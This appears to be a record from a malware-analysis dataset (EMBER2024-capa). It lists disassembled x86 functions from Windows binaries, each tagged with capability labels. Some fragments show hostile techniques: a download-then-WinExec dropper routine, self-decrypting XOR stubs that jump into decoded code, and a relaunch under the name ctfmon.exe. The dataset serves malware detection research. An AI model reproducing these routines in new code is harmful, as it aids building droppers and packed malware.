joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406810
Capabilities:
Download url
Receive data

Disassembly:
push 4
mov eax, 0x56b960
call fcn.0054b87d
mov edi, ecx
mov eax, dword [ebp + 0xc]
push 0xa
push ecx
add eax, 0xfffffff0
mov dword [ebp - 4], 1
mov esi, esp
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0x10], eax
call fcn.00401ea5
pop ecx
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004052b7
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp + 8]
xor ebx, ebx
test eax, eax
setns bl
lea ecx, [ecx - 0x10]
call fcn.00402327
mov ecx, dword [ebp - 0x10]
call fcn.00402327
mov eax, ebx
call fcn.0054b84b
ret 0xc

Function at 0x406886
Capabilities:
Delete file

Disassembly:
push 0xc
mov eax, 0x56b9bb
call fcn.0054b87d
mov ebx, ecx
and dword [ebp - 0x14], 0
mov ecx, dword [ebp + 8]
xor esi, esi
inc esi
mov dword [ebp - 4], esi
call fcn.00401d03
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], esi
push eax
mov ecx, ebx
call fcn.0040675b
push dword [ebp + 0x10]
mov eax, dword [ebp - 0x10]
push ecx
add eax, 0xfffffff0
mov dword [ebp + 0x10], esp
mov esi, esp
mov byte [ebp - 4], 2
push eax
mov dword [ebp - 0x18], esi
call fcn.00401ea5
add eax, 0x10
mov dword [esi], eax
mov edi, dword [ebp + 0xc]
mov esi, esp
add edi, 0xfffffff0
mov byte [ebp - 4], 3
push edi
mov dword [ebp - 0x18], esi
call fcn.00401ea5
pop ecx
add eax, 0x10
mov ecx, ebx
mov dword [esi], eax
mov byte [ebp - 4], 2
call fcn.00406810
test eax, eax
je 0x40693b
push ecx
mov esi, esp
mov dword [ebp + 0x10], esi
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.00401ea5
add eax, 0x10
pop ecx
mov dword [esi], eax
mov ecx, ebx
lea eax, [ebp + 0x10]
push eax
call fcn.004056ba
mov ecx, dword [ebp + 8]
push eax
mov byte [ebp - 4], 4
call fcn.00401d34
mov ecx, dword [ebp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.00402327
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00402327
mov ecx, edi
call fcn.00402327
mov eax, dword [ebp + 8]
call fcn.0054b84b
ret 0xc

Function at 0x40904d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x84], ebx
test ebx, 0xffff0000
jne 0x409078
cmp dword [edi + 0x80], 0
jne 0x409078
movzx eax, bx
mov dword [edi + 0x80], eax
call fcn.00419021
push 5
push ebx
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ecx, edi
push eax
call fcn.004092e6
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4090a5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
call fcn.00419021
push 5
push dword [ebp + 8]
mov edi, dword [eax + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4090d8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
push edi
push dword [ebp + 0xc]
mov ecx, ebx
push esi
call fcn.004090eb
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40bd67
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x40bdba
push esi
push dword [ebp + 8]
call fcn.0040bf4d
mov edi, eax
test edi, edi
je 0x40bdb5
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40bdb5
mov eax, dword [ebp - 8]
jmp 0x40bdcc
mov eax, dword [ebp + 0x10]
jmp 0x40bdcc
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc

Function at 0x40d8b2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], edi
je 0x40d8f7
call fcn.00419021
push 0xf0
push dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d8f4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40d93e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov eax, dword [ebp - 4]
push ebx
xor ebx, ebx
inc ebx
test edi, edi
je 0x40d91a
mov ecx, dword [eax]
push dword [ebp + 0x10]
push edi
mov esi, dword [ecx + 0x20]
mov ecx, esi
push dword [ebp + 8]
call dword [0x57ba1c]
mov ecx, dword [ebp - 4]
call esi
mov ebx, eax
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x70]
test edi, edi
je 0x40d93b
mov edx, dword [edi]
push dword [ebp + 0x10]
mov esi, dword [edx + 0xa0]
mov ecx, esi
call dword [0x57ba1c]
mov ecx, edi
call esi
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret 0xc

Function at 0x411a4a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
cmp dword [ebp + 8], esi
je 0x411a89
call fcn.00419021
push 0xf0
push dword [ebp + 8]
mov edi, dword [eax + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x411a89
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x411a91
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
push esi
mov ecx, ebx
call fcn.0041b77b
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x412491
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x41251d
cmp dword [esi + 0x20], 0
je 0x41251d
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41251d
cmp dword [ebp + 8], 0
je 0x41251d
xor edi, edi
mov ebx, edi
call fcn.00419021
push str.AFX_DIALOG_LAYOUT
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 8], eax
test eax, eax
je 0x412501
mov ebx, dword [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 8]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41251d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push edi
push ebx
push esi
call fcn.0042ca91
mov edi, eax
add esp, 0xc
test edi, edi
je 0x412519
mov ecx, esi
call fcn.0041222f
mov eax, edi
jmp 0x41251f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x416fbd
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x56ad06
call fcn.0054b87d
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x416fe3
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41703d
lea ecx, [ebp - 0x10]
call fcn.00401d03
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call dword [0x57ba1c]
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00555187
push eax
call fcn.00401d84
add esp, 0x14
test esi, esi
je 0x417030
push esi
call fcn.005502e0
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00402327
mov eax, ebx
call fcn.0054b84b
ret 8
Function at 0x42e519
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test byte [esi + 4], 1
mov edi, dword [esi + 0xc]
jne 0x42e56f
push 5
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42e548
call fcn.0040ec21
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x42e55d
call fcn.0040ec21
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x42e56f
call fcn.0040ec21
call fcn.00419021
cmp dword [eax + 0x3c], 0
je 0x42e584
push edi
mov ecx, ebx
call fcn.0042dc3c
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0042e76a
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x42e5ad
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x88], 0
test ebx, ebx
je 0x42e5b9
mov edi, ebx
mov dword [eax + 0x88], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4301ae
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00416b9a
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4301ea
call fcn.004303cb
mov dword [esi + 0xc], 1
jmp 0x4301ef
call fcn.004303cb
cmp dword [esi], 0
je 0x43023a
push edi
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
mov edi, eax
mov ecx, esi
test edi, edi
jle 0x430215
push edi
call fcn.00407ffb
lea ecx, [edi + 1]
push ecx
jmp 0x430224
push 0xff
call fcn.004022b3
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0040233f
pop edi
jmp 0x43025e
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x43025e
push dword [esi]
push dword [ebp - 4]
call fcn.0041afd4
pop esi
leave
ret 0xc

Function at 0x430322
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004303cb
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x43036a
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00407ffb
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040233f
jmp 0x430375
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041afd4
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4325e3
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.0044ed3c
call fcn.00419075
cmp dword [eax + 0x14], 0
jne 0x4325fe
mov ecx, esi
pop esi
jmp fcn.004318df
pop esi
ret

Function at 0x44b3ae
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.004026d4
call fcn.00419075
cmp dword [eax + 0x14], 0
jne 0x44b3c9
mov ecx, esi
pop esi
jmp fcn.0044ac1f
pop esi
ret

Function at 0x45675e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push edi
test esi, esi
jne 0x456777
call fcn.00419021
mov esi, dword [eax + 0xc]
push 0x587ab4
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4567b9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4567b9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4567b9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004567c2
jmp 0x4567bb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x50899b
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.0055c3e9
pop ecx
test eax, eax
jne 0x5089dd
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s_s_X.tmp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.0040c28d
add esp, 0x18
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x5089a3
leave
ret
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
leave
ret

Function at 0x564ed0
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00564b4d
Function at 0x79d894
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79d89a
pop ebp
sub ebp, 6
sub ebp, 0x39d894
jmp 0x79d8f8
jmp 0x79d901
mov eax, 0x39d894
add eax, ebp
add eax, 0x93
mov ecx, 0x636
mov edx, 0x5e85d765
xor byte [eax], dl
inc eax
dec ecx
jne 0x79d918
jmp 0x79d92b
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405414
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40547a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402a24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405464
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405481
lea eax, [ebp - 0x10]
call fcn.00403a44
ret

Function at 0x40974c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409785
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b34
jmp 0x40978e
mov eax, ebx
mov edx, esi
call fcn.00403a98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409798
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4097b9
mov al, byte [esp]
jmp 0x4097bb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x409e40
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409cb8
mov eax, dword [0x4134fc]
cmp byte [eax], 0
je 0x409ebc
mov eax, dword [0x413420]
call fcn.004029a0
call fcn.0040271c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004070ec
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409f04
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x409ef2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4133fc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x414660]
call fcn.00404964
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40aba0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40ac04
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406c34
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ac0b
lea eax, [ebp - 0xc]
call fcn.00403a44
ret

Function at 0x412774
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x4127d8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4000000
push 3
push 0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403ee0
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 4
push esi
call sub.kernel32.dll_WinExec
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4127df
lea eax, [ebp - 4]
call fcn.00403a44
ret

Function at 0x4129c4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
mov eax, dword [ebp - 8]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x412a52
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x412a2b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403ee0
push eax
mov eax, dword [ebp - 4]
call fcn.00403ee0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x412a37
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412a59
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403a68
ret

Function at 0x412a64
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x412b0a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004128c8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x412b20
call fcn.00403d2c
mov eax, dword [ebp - 4]
call fcn.00406fa4
test al, al
jne 0x412aef
lea eax, [ebp - 0xc]
call fcn.004128c8
lea eax, [ebp - 0xc]
mov edx, 0x412b34
call fcn.00403ce8
mov edx, dword [ebp - 0xc]
mov eax, 0x412b48
call fcn.004129c4
test al, al
je 0x412aef
push 0
lea eax, [ebp - 0x10]
call fcn.004128c8
lea eax, [ebp - 0x10]
mov edx, 0x412b70
call fcn.00403ce8
mov eax, dword [ebp - 0x10]
call fcn.00403ee0
push eax
call sub.kernel32.dll_WinExec
call fcn.00412944
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412b11
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403a68
ret
Function at 0x406400
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040e930
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.00406380
int3

Function at 0x406490
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.0040e930
mov al, byte [0x428ce4]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040b2a9
add esp, 0xc
lea eax, [ebp - 0x130]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040b581
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x406534
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404fa0
push str.0040
push esi
call fcn.0040b770
add esp, 0x10
cmp eax, esi
jne 0x406565
test bl, bl
jne 0x406603
push 0x428c2c
push esi
call fcn.0040b770
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.00407f10
test al, al
je 0x406603
lea ecx, [ebp - 0x130]
call fcn.00405080
test al, al
je 0x406603
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.00408bb0
add esp, 4
test eax, eax
jne 0x406613
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.0040e930
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406623
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00409fff
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406400
call fcn.00406380
int3
Function at 0x41cbea
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041428e
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41cc22
xor eax, eax
jmp 0x41cc4e
cmp esi, dword [ebp - 4]
je 0x41cc4b
cmp dword [ebp + 0xc], 0
je 0x41cc4b
push dword [edi + 0x9c]
call fcn.0041c7f8
push dword [edi + 0x9c]
mov esi, eax
call fcn.0040ef84
pop ecx
pop ecx
cmp esi, eax
je 0x41cc1e
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx